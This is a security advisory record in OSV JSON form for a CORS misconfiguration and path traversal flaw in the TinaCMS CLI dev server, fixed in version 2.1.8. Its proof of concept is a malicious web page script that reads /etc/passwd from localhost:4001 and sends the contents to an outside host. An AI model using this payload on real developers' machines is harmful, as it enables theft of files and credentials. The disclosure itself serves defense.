CVE-2026-28792: @tinacms/cli Path Traversal Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-8pw3-9m7f-q734",
  "modified" : "2026-03-12T20:32:09Z",
  "published" : "2026-03-12T20:32:09Z",
  "aliases" : [ "CVE-2026-28792" ],
  "summary" : "TinaCMS CLI Dev Server Vulnerable to Cross-Origin File Exfiltration via CORS Misconfiguration + Path Traversal in TinaCMS",
  "details" : "## Summary\nThe TinaCMS CLI dev server combines a permissive CORS configuration (Access-Control-Allow-Origin: *) with the path traversal vulnerability (previously reported) to enable a browser-based drive-by attack. A remote attacker can enumerate the filesystem, write arbitrary files, and delete arbitrary files on developer's machines by simply tricking them into visiting a malicious website while tinacms dev is running.\n\n## Details\nThe TinaCMS dev server sets permissive CORS headers that allow **any origin** to make cross-origin requests:\n\n- packages/@tinacms/cli/src/server/server.ts:\n```\n  app.use(cors());\n```\n\n- packages/@tinacms/cli/src/next/vite/plugins.ts:\n```\n     server.middlewares.use(cors());\n```\nWhen combined with the path traversal vulnerability, this creates a complete attack chain.\n## Attack Scenario\n\n### Prerequisites\n1. Developer runs `tinacms dev` (default port 4001) \n2. Developer visits attacker's website while TinaCMS is running\n\n**No other conditions required** - the dev server doesn't need to be:\n- Exposed to the internet\n- Bound to 0.0.0.0\n- Accessible outside localhost\n\n### Attack Flow\n1. Developer starts TinaCMS: `tinacms dev`\n2. Developer browses the web (checking email, social media, etc.)\n3. Developer unknowingly visits attacker-controlled page (malicious ad, compromised site, etc.)\n4. Attacker's JavaScript exploits CORS + path traversal to read sensitive files\n5. Files are exfiltrated to attacker's server\n\n## PoC\n### Attacker's Malicious Website (evil.html):\n```\n<script>\nfetch('http://localhost:4001/../../../etc/passwd')\n  .then(r => r.text())\n  .then(data => {\n    // Exfil via GET\n    const img = new Image();\n    img.src = 'http://192.168.11.117:8080/exfil?data=' + encodeURIComponent(data);\n  });\n</script>\n```\n### Demonstration\n\n**Step 1:** Start TinaCMS dev server\n```bash\ntinacms dev\n# Server running on http://localhost:4001\n```\n\n**Step 2:** Host evil.html on attacker server\n```bash\npython3 -m http.server 8000\n```\n\n**Step 3:** Developer visits `http://attacker-server:8000/evil.html`\n\n**Result:** The browser makes cross-origin requests to localhost:4001.\nBecause cors() returns Access-Control-Allow-Origin: *, the browser\nallows the JavaScript to read the responses. Directory listings from\noutside the media directory are sent to the attacker's server.\n<img width=\"1900\" height=\"366\" alt=\"image\" src=\"https://github.com/user-attachments/assets/72fdd31d-dd93-4728-9a4b-4d7d66d33617\" />\n\n\n## Impact\n### Who is affected\nEvery developer running `tinacms dev` is vulnerable while the dev server is active. No special configuration is required the default setup is exploitable.\n\n### What an attacker achieves\nBy hosting a malicious webpage (or injecting script via a compromised ad network, XSS on a forum, etc.), the attacker can silently:\n\n1. **Enumerate the developer's filesystem** directory listings via `/media/list/` with path traversal reveal file and folder names\n   across the entire filesystem\n2. **Discover sensitive files** locate `.env`, `.git/config`,  SSH keys, cloud credentials, database configs\n3. **Write arbitrary files** via `/media/upload/` with path traversal, the attacker can overwrite project source files, inject backdoors, or modify build scripts\n4. **Delete arbitrary files** via `/media/` DELETE with path traversal",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "npm",
      "name" : "@tinacms/cli"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "fixed" : "2.1.8"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/security/advisories/GHSA-8pw3-9m7f-q734"
  }, {
    "type" : "ADVISORY",
    "url" : "https://nvd.nist.gov/vuln/detail/CVE-2026-28792"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/pull/6450"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/commit/56d533e610a520ba66b3e58f3a0dc03487d5d5d7"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/tinacms/tinacms"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/tinacms/tinacms/releases/tag/%40tinacms%2Fcli%402.1.8"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-22", "CWE-942" ],
    "severity" : "CRITICAL",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-03-12T20:32:09Z",
    "nvd_published_at" : "2026-03-12T17:16:50Z"
  }
}